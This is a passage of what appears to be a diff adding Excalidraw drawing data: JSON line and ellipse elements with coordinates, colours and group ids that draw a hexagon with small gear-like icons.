"strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2376.539475048273, + "y": -1085.883402958061, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 239.18398837749612, + "height": 240.82472053958986, + "seed": 489900728, + "groupIds": [ + "o8H_ZmHj2twIgJfCHirRq", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -93.3167003202741, + 45.06407479238995 + ], + [ + -115.0760221011569, + 151.8338877728392 + ], + [ + -47.72123988895771, + 235.8729120963148 + ], + [ + 57.05943089673669, + 238.2968966143365 + ], + [ + 124.10796627633923, + 152.1924617057943 + ], + [ + 106.78977397829605, + 54.26839892040008 + ], + [ + 1.982261618725252, + -2.5278239252533674 + ] + ] + }, + { + "type": "line", + "version": 2551, + "versionNonce": 264918240, + "index": "c0UaL", + "isDeleted": false, + "id": "J63c2ii5W217GTJLjSeOb", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2379.132604702373, + "y": -1087.9241285387748, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 237.14008302680494, + "height": 237.4929700551186, + "seed": 1055470520, + "groupIds": [ + "o8H_ZmHj2twIgJfCHirRq", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -94.57372358807096, + 45.522426652467004 + ], + [ + -117.51138042846135, + 151.7414221748901 + ], + [ + -52.58016721874093, + 236.0814219418638 + ], + [ + 52.580167218741046, + 237.4929700551186 + ], + [ + 119.62870259834358, + 151.38853514657637 + ], + [ + 96.33815872963952, + 45.16953962415332 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2961, + "versionNonce": 1366079712, + "index": "c0UaM", + "isDeleted": false, + "id": "AI-NjbaLR58lKMaF1dsGp", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2379.7403395135993, + "y": -1049.5218653130064, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 144.92190277638542, + "height": 143.92671664035024, + "seed": 1677327544, + "groupIds": [ + "WaC_nrQVcH83FLyeuG9lz", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -57.796235035820374, + 27.587736176233545 + ], + [ + -71.81397860794098, + 91.95912058744518 + ], + [ + -32.132981419168765, + 143.07128296046704 + ], + [ + 32.13298141916884, + 143.92671664035024 + ], + [ + 73.10792416844447, + 91.74526216747438 + ], + [ + 58.8745230029066, + 27.373877756262754 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1268, + "versionNonce": 2032311520, + "index": "c0UaMV", + "isDeleted": false, + "id": "6TZfKClR4f7_4l8dsu7dU", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2349.6666754474263, + "y": -979.1643247543216, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 20.902438323372518, + "height": 21.172495666051674, + "seed": 503948728, + "groupIds": [ + "psb_-BEcU3hTFae3egoMe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1210, + "versionNonce": 2021392608, + "index": "c0UaN", + "isDeleted": false, + "id": "Y7CwC6SRnT08jMrdGymyy", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2360.144900343381, + "y": -978.8402559431065, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.1882523077885643, + "height": 4.158883077260145, + "seed": 708587192, + "groupIds": [ + "psb_-BEcU3hTFae3egoMe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1882523077885643, + -4.158883077260145 + ] + ] + }, + { + "type": "line", + "version": 1193, + "versionNonce": 252241120, + "index": "c0UaO", + "isDeleted": false, + "id": "i7Fr7tOSblRxusQHu-G5G", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2367.1123797845044, + "y": -976.9498545443519, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.566332587539521, + "seed": 20289464, + "groupIds": [ + "psb_-BEcU3hTFae3egoMe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 4.158883077260126, + -1.566332587539521 + ] + ] + }, + { + "type": "line", + "version": 1196, + "versionNonce": 173623520, + "index": "c0UaOV", + "isDeleted": false, + "id": "7yW5_WIsO4nPi_5nAlj3x", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2369.7589417427603, + "y": -968.7941227954389, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 5.455158322120268, + "height": 1.0802293707169108, + "seed": 1729749176, + "groupIds": [ + "psb_-BEcU3hTFae3egoMe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.455158322120268, + 1.0802293707169108 + ] + ] + }, + { + "type": "line", + "version": 1194, + "versionNonce": 100478176, + "index": "c0UaP", + "isDeleted": false, + "id": "MK36dHwok9kfBjnbcwkEB", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2367.922551812542, + "y": -960.6924025150624, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8626078323999846, + "height": 3.51074545482998, + "seed": 2072840632, + "groupIds": [ + "psb_-BEcU3hTFae3egoMe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.8626078323999846, + 3.51074545482998 + ] + ] + }, + { + "type": "line", + "version": 1186, + "versionNonce": 730108128, + "index": "c0UaQ", + "isDeleted": false, + "id": "qY3-Rhf_-IKRFYil6E92X", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2359.8748430007013, + "y": -957.8297946826619, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.6481376224303735, + "height": 4.644986294082755, + "seed": 1236472504, + "groupIds": [ + "psb_-BEcU3hTFae3egoMe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.6481376224303735, + 4.644986294082755 + ] + ] + }, + { + "type": "line", + "version": 1188, + "versionNonce": 1920955616, + "index": "c0UaQV", + "isDeleted": false, + "id": "I87nJVoZmG1UoHx7VlpEV", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2353.555501182007, + "y": -961.556586011636, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.6727798604375725, + "height": 4.158883077260126, + "seed": 1479539640, + "groupIds": [ + "psb_-BEcU3hTFae3egoMe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.6727798604375725, + 4.158883077260126 + ] + ] + }, + { + "type": "line", + "version": 1196, + "versionNonce": 1618860256, + "index": "c0UaR", + "isDeleted": false, + "id": "Peg0AOzp3TLby57vXeGWr", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2351.0709736293593, + "y": -968.8481342639755, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 7.075502378195748, + "height": 0, + "seed": 958907576, + "groupIds": [ + "psb_-BEcU3hTFae3egoMe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -7.075502378195748, + 0 + ] + ] + }, + { + "type": "line", + "version": 1192, + "versionNonce": 1225768160, + "index": "c0UaS", + "isDeleted": false, + "id": "CvR0qr6twuFL-jSQIZmIa", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2354.689742021261, + "y": -976.6797972016727, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.0802293707169108, + "seed": 440298936, + "groupIds": [ + "psb_-BEcU3hTFae3egoMe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -4.158883077260126, + -1.0802293707169108 + ] + ] + }, + { + "type": "ellipse", + "version": 1259, + "versionNonce": 231022816, + "index": "c0UaSV", + "isDeleted": false, + "id": "Uk3No286ELftpoiXMqEtx", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2376.867316088314, + "y": -971.3492893522705, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 32.2577331788317, + "height": 32.67449975736946, + "seed": 1419245240, + "groupIds": [ + "6koW3jLVYp4wGlwcStLHG", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1201, + "versionNonce": 1580074208, + "index": "c0UaT", + "isDeleted": false, + "id": "UPmKPe6Z5FCQahtUTO8oc", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2393.0378593355836, + "y": -970.8491694580252, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.833772945566576, + "height": 6.41820530948328, + "seed": 2094555064, + "groupIds": [ + "6koW3jLVYp4wGlwcStLHG", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.833772945566576, + -6.41820530948328 + ] + ] + }, + { + "type": "line", + "version": 1184, + "versionNonce": 2010802400, + "index": "c0UaU", + "isDeleted": false, + "id": "CPqOqMTEABy-uaFiL0DB8", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2403.7904370618617, + "y": -967.9318034082598, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 6.418205309483252, + "height": 2.4172461555196554, + "seed": 1931716792, + "groupIds": [ + "6koW3jLVYp4wGlwcStLHG", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 6.418205309483252, + -2.4172461555196554 + ] + ] + }, + { + "type": "line", + "version": 1187, + "versionNonce": 1717193952, + "index": "c0UaUG", + "isDeleted": false, + "id": "XOqLet1JvQJV5Bd02pkwr", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2407.874749531533, + "y": -955.3454527364158, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 8.418684886464801, + "height": 1.667066314151486, + "seed": 1931334072, + "groupIds": [ + "6koW3jLVYp4wGlwcStLHG", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 8.418684886464801, + 1.667066314151486 + ] + ] + }, + { + "type": "line", + "version": 1185, + "versionNonce": 1128116448, + "index": "c0UaUV", + "isDeleted": false, + "id": "Zo7eSwVQ2mrk0YBwmLobX", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2405.040736797474, + "y": -942.8424553802797, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.4177257325017, + "height": 5.417965520992358, + "seed": 602593976, + "groupIds": [ + "6koW3jLVYp4wGlwcStLHG", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 4.4177257325017, + 5.417965520992358 + ] + ] + }, + { + "type": "line", + "version": 1177, + "versionNonce": 1981060320, + "index": "c0UaV", + "isDeleted": false, + "id": "lE53LCSkGqDWSP_wPaWXN", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2392.621092757046, + "y": -938.4247296477783, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.0002397884912422, + "height": 7.1683851508514485, + "seed": 674153400, + "groupIds": [ + "6koW3jLVYp4wGlwcStLHG", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.0002397884912422, + 7.1683851508514485 + ] + ] + }, + { + "type": "line", + "version": 1179, + "versionNonce": 1953429728, + "index": "c0UaVV", + "isDeleted": false, + "id": "lVZALpPsdoEu78STmW6Xh", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2382.86875481926, + "y": -944.176108431601, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 5.66802546811517, + "height": 6.418205309483252, + "seed": 772639928, + "groupIds": [ + "6koW3jLVYp4wGlwcStLHG", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.66802546811517, + 6.418205309483252 + ] + ] + }, + { + "type": "line", + "version": 1187, + "versionNonce": 31251680, + "index": "c0UaW", + "isDeleted": false, + "id": "qSdLqfTbo8T2GlZH4Z5d4", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2379.034502296711, + "y": -955.4288060521237, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 10.919284357692204, + "height": 0, + "seed": 2133538232, + "groupIds": [ + "6koW3jLVYp4wGlwcStLHG", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -10.919284357692204, + 0 + ] + ] + }, + { + "type": "line", + "version": 1183, + "versionNonce": 1877885152, + "index": "c0UaWV", + "isDeleted": false, + "id": "9j8Zt_ix2kJjJyOhuBgdA", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2384.619174449119, + "y": -967.5150368297225, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 6.418205309483252, + "height": 1.667066314151486, + "seed": 279690936, + "groupIds": [ + "6koW3jLVYp4wGlwcStLHG", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -6.418205309483252, + -1.667066314151486 + ] + ] + }, + { + "type": "ellipse", + "version": 1320, + "versionNonce": 1580410080, + "index": "c0UaX", + "isDeleted": false, + "id": "zn9f1OFuYT_45tbhrqCde", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2386.253897278323, + "y": -1007.229552524343, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 20.902438323372518, + "height": 21.172495666051674, + "seed": 322119608, + "groupIds": [ + "tB8sNrHjt9FwFv3_dSzwe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1262, + "versionNonce": 2050722016, + "index": "c0UaXV", + "isDeleted": false, + "id": "eF2szKJbVysjEWNDd6eKv", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2396.732122174277, + "y": -1006.9054837131284, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.1882523077885643, + "height": 4.158883077260145, + "seed": 48591032, + "groupIds": [ + "tB8sNrHjt9FwFv3_dSzwe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1882523077885643, + -4.158883077260145 + ] + ] + }, + { + "type": "line", + "version": 1245, + "versionNonce": 1066888416, + "index": "c0UaY", + "isDeleted": false, + "id": "t4EgYYPcMorW0ireTYQY5", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2403.699601615401, + "y": -1005.0150823143733, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.566332587539521, + "seed": 929470904, + "groupIds": [ + "tB8sNrHjt9FwFv3_dSzwe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 4.158883077260126, + -1.566332587539521 + ] + ] + }, + { + "type": "line", + "version": 1248, + "versionNonce": 936825056, + "index": "c0UaZ", + "isDeleted": false, + "id": "tUbA99Z2JaeWzg9PgavQC", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2406.3461635736585, + "y": -996.8593505654617, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 5.455158322120268, + "height": 1.0802293707169108, + "seed": 1943708344, + "groupIds": [ + "tB8sNrHjt9FwFv3_dSzwe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.455158322120268, + 1.0802293707169108 + ] + ] + }, + { + "type": "line", + "version": 1246, + "versionNonce": 982103264, + "index": "c0UaZV", + "isDeleted": false, + "id": "IMwaZE65GSPRiwDsRv8m1", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2404.5097736434404, + "y": -988.7576302850841, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8626078323999846, + "height": 3.51074545482998, + "seed": 1994755000, + "groupIds": [ + "tB8sNrHjt9FwFv3_dSzwe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.8626078323999846, + 3.51074545482998 + ] + ] + }, + { + "type": "line", + "version": 1238, + "versionNonce": 759175392, + "index": "c0Uaa", + "isDeleted": false, + "id": "eViJCJNJOaeDDsqQQRA4i", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2396.4620648315995, + "y": -985.8950224526836, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.6481376224303735, + "height": 4.644986294082755, + "seed": 179000504, + "groupIds": [ + "tB8sNrHjt9FwFv3_dSzwe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.6481376224303735, + 4.644986294082755 + ] + ] + }, + { + "type": "line", + "version": 1240, + "versionNonce": 1133116640, + "index": "c0Uab", + "isDeleted": false, + "id": "ytAiJ4go_iGpArZ4PrhOT", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2390.142723012904, + "y": -989.6218137816572, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.6727798604375725, + "height": 4.158883077260126, + "seed": 349175224, + "groupIds": [ + "tB8sNrHjt9FwFv3_dSzwe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.6727798604375725, + 4.158883077260126 + ] + ] + }, + { + "type": "line", + "version": 1248, + "versionNonce": 1056399584, + "index": "c0UabV", + "isDeleted": false, + "id": "F0Yns4sdhp7CxlpsUcxkH", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2387.6581954602543, + "y": -996.9133620339969, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 7.075502378195748, + "height": 0, + "seed": 645367480, + "groupIds": [ + "tB8sNrHjt9FwFv3_dSzwe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -7.075502378195748, + 0 + ] + ] + }, + { + "type": "line", + "version": 1244, + "versionNonce": 790119648, + "index": "c0Uac", + "isDeleted": false, + "id": "deLEWZiMYmwJGVzgDdqVC", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2391.2769638521577, + "y": -1004.7450249716942, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.0802293707169108, + "seed": 205909944, + "groupIds": [ + "tB8sNrHjt9FwFv3_dSzwe", + "cM8L_GT6dWDelE364f73N", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453347, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -4.158883077260126, + -1.0802293707169108 + ] + ] + }, + { + "type": "text", + "version": 1329, + "versionNonce": 830253280, + "index": "c0Uad", + "isDeleted": false, + "id": "TGERk9rw", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", 